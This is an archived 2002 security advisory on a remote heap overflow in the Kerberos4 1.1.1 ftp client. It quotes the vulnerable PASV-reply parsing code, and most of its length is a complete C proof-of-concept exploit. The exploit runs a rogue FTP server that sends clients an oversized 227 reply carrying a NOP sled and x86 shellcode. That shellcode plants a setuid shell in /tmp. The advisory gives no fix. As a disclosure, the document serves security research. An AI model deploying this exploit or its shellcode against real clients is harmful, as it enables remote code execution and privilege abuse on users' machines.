TUCoPS :: Unix :: Various Flavours :: aix5311.htm

Kerberos 4 ftp client remote heap overflow
25th Apr 2002 [SBWID-5311]
COMMAND

	Kerberos4 ftp client remote heap overflow

SYSTEMS AFFECTED

	Kerberos4 ftp client 4-1.1.1

PROBLEM

	Marcell Fodor [http://mantra.freeweb.hu/] advisory :
	

	Kerberos4 ftp client  is  a  simple  ftp  client,  with  the  extensions
	defined by RFC 2228. When authentication fails with  AUTH,  client  will
	use USER/PASS command as other ones.
	

	A bug in the code may cause a heap overflow which leads to  remote  code
	execution. The overflow occurs when the  server  responds  to  client\'s
	request for passive mode. If the server responds with a  long  reply  in
	the place of IP and port, pasv buffer will overflow.
	

	see original code below :
	

	krb4-1.1.1/appl/ftp/ftp/ftp.c

	----------------

	int

	getreply (int expecteof)

	{

	.

	.

	.

	if (code == 227 || code == 229) {

	            char *p, *q;

	            pasv[0] = 0;

	            p = strchr (reply_string, \'(\');

	            if (p) {

	                p++;

	                q = strchr(p, \')\');

	                if(q){

	                memcpy (pasv, p, q - p); // <- heap overflow

	                pasv[q - p] = 0;

	                }

	            }

	            }

	-------------

	

	

	client:    PASV

	server: 227 food_for_the_poor (AAAAAAA...1323bytes...AAAAAA)

	

	

	 Exploit :

	 =======

	

	/*

	    Proof Of Concept exploit against Kerberos4-1.1.1 ftp client 

	    23/04/2002

	

	

	    egg: x86 linux, 95 bytes

	    

		cp /bin/ash /tmp/ash

		chmod 4755 /tmp/ash

	

	    Marcell Fodor

	    m.fodor@mail.datanet.hu

	*/

	

	

	#include <stdio.h>

	#include <stdlib.h>

	#include <stdarg.h>

	#include <string.h>

	#include <netinet/in.h>

	#include <sys/socket.h>

	#include <sys/types.h>

	#include <arpa/inet.h>

	#include <netdb.h>

	#include <unistd.h>

	

	

	

	#define HIT \"\\xa0\\x01\\x07\\x08\"

	#define SERVERPORT (3568)

	#define SEND(a) write(sock, a, strlen(a))

	#define NOP 0x90 

	

	#define _BANNER	\"220 evil ready\\n\"

	#define _USER	\"331 user oke\\n\"

	#define _PASS	\"230 pass oke\\n\"

	#define _SYST	\"215 evil\\n\"

	#define _GO	\"530 go on\\n\"

	#define _END	\"530 look what i did to you\\n\"

	

	

	static unsigned char egg[] =

	

	    \"\\x68\\x2f\\x62\\x69\\x6e\\x5f\\x6a\\x70\\x58\\x66\\x50\\x66\\x68\\x2f\\x63\\x57\"

	    \"\\x54\\x5b\\x31\\xf6\\x56\\x54\\x5a\\x68\\x2f\\x61\\x73\\x68\\x59\\x51\\x57\\x54\"

	    \"\\x5d\\x56\\x51\\x68\\x2f\\x74\\x6d\\x70\\x54\\x59\\x56\\x51\\x55\\x53\\x54\\x51\"

	    \"\\x5d\\x59\\xb0\\x02\\xcd\\x80\\x39\\xc6\\x75\\x06\\xb0\\x0b\\xcd\\x80\\xeb\\x1a\"

	    \"\\x31\\xdb\\x4b\\x56\\x54\\x59\\x31\\xd2\\x6a\\x07\\x58\\xcd\\x80\\x31\\xc9\\x66\"

	    \"\\xb9\\x6d\\x09\\x55\\x5b\\x6a\\x0f\\x58\\xcd\\x80\\x6a\\x01\\x58\\xcd\\x80\\x00\";        

	

	

	

	

	int

	main(int argc, char *argv[])

	{

	

	  int c, sock, ret;

	  int e = sizeof(struct sockaddr_in);

	  struct sockaddr_in l, r;

	  int serverport = SERVERPORT;

	

	

	

	    l.sin_family = AF_INET;

	    l.sin_port = htons(serverport);

	    l.sin_addr.s_addr = INADDR_ANY;

	    bzero(&(l.sin_zero), 8);

	    c = socket(AF_INET, SOCK_STREAM, 0);

	

	

	    ret = bind(c,(struct sockaddr *) &l, sizeof(struct sockaddr));

	    if (ret)

	     {

		printf(\"bind failed\\n\");

		_exit(0);

	     }

	

	

	    ret = listen(c, 1);

	    if (ret)

	     {

		printf(\"listen failed\\n\");

		_exit(0);

	     }

	

	

	    printf(\"Evil ftpd accepting connections on port:%d\\n\", serverport);

	    while ((sock = accept(c, (struct sockaddr *) &r, &e)))

	    {

	        if (!fork())

	        {

		 int ret, ok = 0;

		 char buffer[8192]; 

	

		    SEND(_BANNER);

	

		    do 

		     {

	

			memset(buffer, 0, sizeof(buffer));

			ret = read(sock, buffer, sizeof(buffer) - 1);

			if (ret < 1) _exit(0); /* hmm..?$#%! */

			

			if (!strncmp(buffer, \"USER\", 4)) SEND(_USER);

			else if (!strncmp(buffer, \"PASS\", 4)) SEND(_PASS);

			else if (!strncmp(buffer, \"SYST\", 4)) SEND(_SYST);

			else if (!strncmp(buffer, \"PASV\", 4)) ok = 1;

			else if (!strncmp(buffer, \"EPRT\", 4)) ok = 1;

			else SEND(_GO);

	

		     } while(!ok);

	

		    memset(buffer, 0, sizeof(buffer));

		    strcpy(buffer, \"227 (\");

		    memset(buffer + strlen(buffer), NOP, 1319);

		    strcat(buffer, HIT);

		    strcat(buffer, \")\\n\");

		    

		    memcpy(buffer + strlen(buffer) - 10 - strlen(egg), egg, strlen(egg));

		    

		    SEND(buffer);

		    SEND(_END);

	

	            close(sock);

		    _exit(0);

	        }

		

		close(sock);

	    }

	    

	    _exit(0);

	}

	

SOLUTION

	??

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH